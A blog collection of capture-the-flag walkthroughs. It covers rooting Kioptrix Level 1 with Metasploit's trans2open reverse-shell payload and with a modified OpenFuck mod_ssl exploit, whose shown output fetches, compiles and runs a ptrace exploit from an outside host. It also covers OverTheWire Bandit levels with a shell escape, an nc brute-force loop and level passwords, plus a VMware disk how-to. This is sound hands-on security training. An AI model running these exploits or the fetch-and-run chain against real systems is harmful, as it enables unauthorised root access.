Write-up for Kioptrix: Level 1 (#1)

VulnHub Kioptrix Level 1 (with Metasploit) CTF Walkthrough – Step-by-step with Explanations

VulnHub Kioptrix Level 1 CTF Walkthrough – Step-by-step with Explanations

I came across the Kioptrix Virtual Machines (VM) on VulnHub today and find them pretty interesting. Hence, I attempted some penetration tests on the Kioptrix: Level 1 (#1) and managed to get root (the objective of the game).

A quick background on the VMs found on VulnHub – they are basically VMs which are vulnerable by design – specially created for security researchers or any security enthusiasts (like myself) to perform security testing on them, or to try out known exploits as a form of Proof of Concept (POC).


I found 2 methods of getting root, one requires some modification to a readily obtained exploit code, while the other one uses the Metasploit tool to automatically get root using a generated payload.

Let’s get started. Before we go into either methods, we need to perform some general reconnaissance to understand what services are there.

Note #1: section description are in bold
Note #2: commands are in Italic form
Note #3: output are in block quote (just like this box)
Note #4: output are trimmed if they are too long.. this is to avoid confusing you with output that are way too long 🙂

Perform an nmap scan to discover target’s open ports & IP address
> nmap -sS -Pn -T5

Nmap scan report for
Host is up (0.00065s latency).
Not shown: 994 closed ports
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
MAC Address: 00:0C:29:3C:27:52 (VMware)

[[[ Method 1 ]]]

Scan for existing SMB services (since port 139 is currently open)
> nbtscan

Doing NBT name scan for addresses from

IP address NetBIOS Name Server User MAC address 
------------------------------------------------------------------------------ KIOPTRIX <server> KIOPTRIX 00:00:00:00:00:00

Perform SMB enumeration (as shown above, there is SMB service on the host)
> enum4linux -a

| OS information on |
[+] Got OS info for from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for from srvinfo:
 KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
 platform_id : 500
 os version : 4.5
 server type : 0x9a03

Google for known vulnerability.

As obvious as it seems to be, yes, we should Google for known vulnerability. As shown in the output, the target system is using Samba 2.2.1a. We will Google for “samba version 2.2.1a vulnerability”

Check out CVE-2003-0201,Samba ‘call_trans2open’  Remote Buffer Overflow vulnerability.


Now, we can simply launch Metasploit to do the job for you.

msf > msfconsole
msf > search 2003-0201
msf > use exploit/linux/samba/trans2open
msf exploit(trans2open) > set rhost
msf exploit(trans2open) > set payload generic/shell_reverse_tcp
msf exploit(trans2open) > exploit

[*] Started reverse TCP handler on 
[*] - Trying return address 0xbffffdfc...
[*] - Trying return address 0xbffffcfc...
[*] - Trying return address 0xbffffbfc...
[*] - Trying return address 0xbffffafc...
[*] - Trying return address 0xbffff9fc...
[*] - Trying return address 0xbffff8fc...
[*] Command shell session 1 opened ( -> at 2016-10-24 11:06:50 -0400
[*] Command shell session 2 opened ( -> at 2016-10-24 11:06:51 -0400

uid=0(root) gid=0(root) groups=99(nobody)

[[[ Method 2 ]]]

Scan for vulnerability using Nikto
> nikto -h

+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

Google for known vulnerability.

Once again, we should Google for known vulnerability. As shown in the output, the target system is using a very outdated Apache web server version 1.3.20. We will Google for “apache 1.3.20 vulnerability”

Check out the Apache mod_ssl (< 2.8.7) OpenSSL – ‘OpenFuckV2.c’ Remote Exploit (2)

Search for the exploit via searchsploit
> searchsploit OpenFuck

-------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms)
-------------------------------------------------- ----------------------------------
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuckV2.c' | ./unix/remote/764.c
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuck.c' R | ./unix/remote/21671.c
-------------------------------------------------- ----------------------------------

Modify the exploit code

Now, simply make a copy of the 764.c exploit and put it somewhere to check it out and make changes to it (because the ‘off-the-shell’ code over there is pretty outdated)
> cp /usr/share/exploitdb/platforms/unix/remote/764.c OpenFuck.c

Here, we need to make some modification to the code before compiling it. you can do it using any text editor. i like to use VIM so I will be running the following command.
> vim OpenFuck.c

From this part onwards, I need you to follow closely. I try to be as clear as possible – if you still got lost along the way, please feel free to leave a comment to clarify.

Below are the list of changes which are need to be made to the OpenFuck.c code,

  1. Include the openssl rc4 and md5 libraries
    • #include <openssl/rc4.h>
    • #include <openssl/md5.h>
  2. Modify the ‘wget’ method in the exploit itself because the url does not exist anymore. we need to update it to become the new URL to download the file.
  3. Search for ‘wget’, and then replace the URL to http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

Install Libraries for compiling the modified exploit code

Now we need to install the ssl-dev library into our server or else we will face difficulty compiling the code.
> apt-get install libssl-dev
> gcc -o OpenFuck OpenFuck.c -lcrypto

OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1011:26: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type [-Wincompatible-pointer-types]
In file included from /usr/include/openssl/objects.h:965:0,
 from /usr/include/openssl/evp.h:94,
 from /usr/include/openssl/x509.h:73,
 from /usr/include/openssl/ssl.h:156,
 from OpenFuck.c:20:
/usr/include/openssl/x509.h:823:1: note: expected ‘const unsigned char ’ but argument is of type ‘unsigned char ’

Now, you are done with the mod_ssl exploit!

Running the Exploit

Simply run the compiled file to view its usages,
> ./OpenFuck

: Usage: ./OpenFuck target box [port] [-c N]

target - supported box eg: 0x00
 box - hostname or IP address
 port - port for ssl connection
 -c open N connections. (use range 40-50 if u dont know)

Supported OffSet:
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

Of course, we are only interested in the following 2 types which are designed for Red Hat Linux, using apache version 1.3.20.

Trying out using the 0x6a option ….
> ./OpenFuck 0x6a 443 -c 40

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!

It doesn’t work. next we try the other option,

> ./OpenFuck 0x6b 443 -c 40

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--11:33:26-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
 => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--11:33:26-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
 => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

0K ... 100% @ 1.87 MB/s

11:33:27 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 6362
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

And it works. Congrats, you have root now. Either method should work.

Create Workstation Virtual Machine Using Existing Virtual Disks


When I download certain Virtual Machines (VM) from the internet, be it for research or practice purposes, sometimes it only comes with a Virtual Machine Disk (VMDK).

VMDK is a form of file format that describes containers for virtual hard disk drives to be used by VM such as VMware Workstation.

The problem is that when you tried to open the VMDK file on your VMware Workstation, it prompts you that the Virtual Machine Configuration (VMX) file is missing, corrupted or deleted.

To solve this issue, you need to create a new VM from scratch and do the setup by hooking it up with the existing VMDK file.

  1. In Workstation, go to File > New > Virtual Machine.
  2. Select Custom and click Next.
  3. Select the hardware compatibility you require and click Next.
  4. In the Guest Operating System Installation selection screen, select I will install the Operating System later and click Next.
  5. Provide a file name and choose the location where you want to save the virtual machine and click Next.
  6. Select the desired networking type for your virtual machine and click Next.
  7. Select Use an Existing Virtual Disk and click Next.
  8. Click Browse and navigate to the location of your existing .vmdk file and click Next.
  9. Review the settings displayed in the Summary window and click Finish.

Hope this helps!

OverTheWire: Bandit Level 25 to Level 26

Level goal: Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

Indeed, logging in is easy, simply run the usual command which allow you to login using SSH key instead of login credentials

ssh -i bandit26.sshkey bandit26@localhost


However, after you logged into bandit26, you will be logged out immediately, “Connection to localhost closed.”

As hinted by the question, let’s take a look at the bash used by bandit26,

bandit25@melinda:~$ cat /etc/passwd | grep bandit26
 bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Instead of /bin/bash, bandit26 is using /usr/bin/showtext, which is apparently not a shell. Let’s look at the content of the file

bandit25@melinda:~$ cat /usr/bin/showtext
 more ~/text.txt
 exit 0

The way to obtain the password for this level is extremely creative, I salute the team who designed this portion of the challenge, it’s really good.

As we know, we will be logged out immediately after we gain access to the server using the SSH key. The way to get the level 27 password is to gain access to the file before your shell gets terminated.

Think about it, how can that be possibly done? The hint is that you are able to “log in” to the system, just that when it spawns a shell, it terminates the shell immediately – the exact code is “exit 0” as we have see in the showtext “shell”.

Here’s the solution:

First, minimize your terminal so that when you are logged into bandit26 via ssh command, the large “bandit26” ASCII art banner will force a “more” message to prompt you to continue the output. You may refer to the screenshot as an illustraton of how I have minimized my terminal,


ssh -i bandit26.sshkey -t bandit26@localhost cat text.txt


Now that you have forces the terminal to prompt you to continue the display via “more” or “–More–(50%)” in this case, press “v” to enter “vim”, a built-in text editor on Unix machines. You will see the output as per below,


Now, press “:e /etc/bandit_pass/bandit26” to edit the password file of bandit26.


There you go, you have the password to proceed to level 27!!

Let’s review what we have done. We have forces the terminal to display a “more” output, where we can open a VIM text editor and open the password file of bandit26 using the file opening command within the VIM text editor. We are able to open this password file containing the bandit26 password because we have logged into the bandit26 account and this is right before the “exit 0” portion of the code boot us out from the machine.

The password to gain access to the next level is 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z. However, level 27 is not up yet, therefore level 26 is the final bandit challenge as of now.

OverTheWire: Bandit Level 24 to Level 25

Level goal: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.


The following is my script to perform this brute-forcing techqnies,




while [ $pin -lt 10000 ]; do

echo “Attempting PIN: $pin”

attempt=”$(echo $pass24 $pin | nc localhost 30002)”

if ! [[ $attempt == *”Wrong!”* ]]; then

echo -ne “$attempt”





The script will iterate through each possible PIN to perform brute forcing in identifying the secret pincode of bandit25.


The password to gain access to the next level is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.

OverTheWire: Bandit Level 23 to Level 24

Level goal: A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

As usual for levels which require us to write, you have to create your own file directory in /tmp and then create a script which output the password file there, and then move it over to the /var/spool/$myname directory



cat /etc/bandit_pass/bandit24 >> /tmp/kongwenbin23/bandit24pass

Important: remember to change the permission of your script before copying it to the /var/spool/bandit24 folder or it will not be run by the bandit24 account. It took me a few tries to notice it.


The scripts in /var/spool/bandit24 will be run once and then purged away every minute.


The password to gain access to the next level is UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ.


Fun fact: you can solve this level using the exact same method as the previous level, must have been a “loophole”…